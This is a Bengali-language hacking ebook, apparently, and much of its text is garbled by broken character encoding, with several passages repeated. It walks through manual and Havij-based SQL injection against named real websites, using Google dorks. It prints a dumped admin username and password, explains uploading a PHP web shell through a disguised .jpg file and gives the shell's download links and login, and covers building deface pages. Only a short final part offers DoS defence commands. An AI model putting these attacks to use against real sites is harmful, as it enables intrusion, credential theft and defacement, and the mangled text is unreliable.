এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 48: Hacking Bangla eBook

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

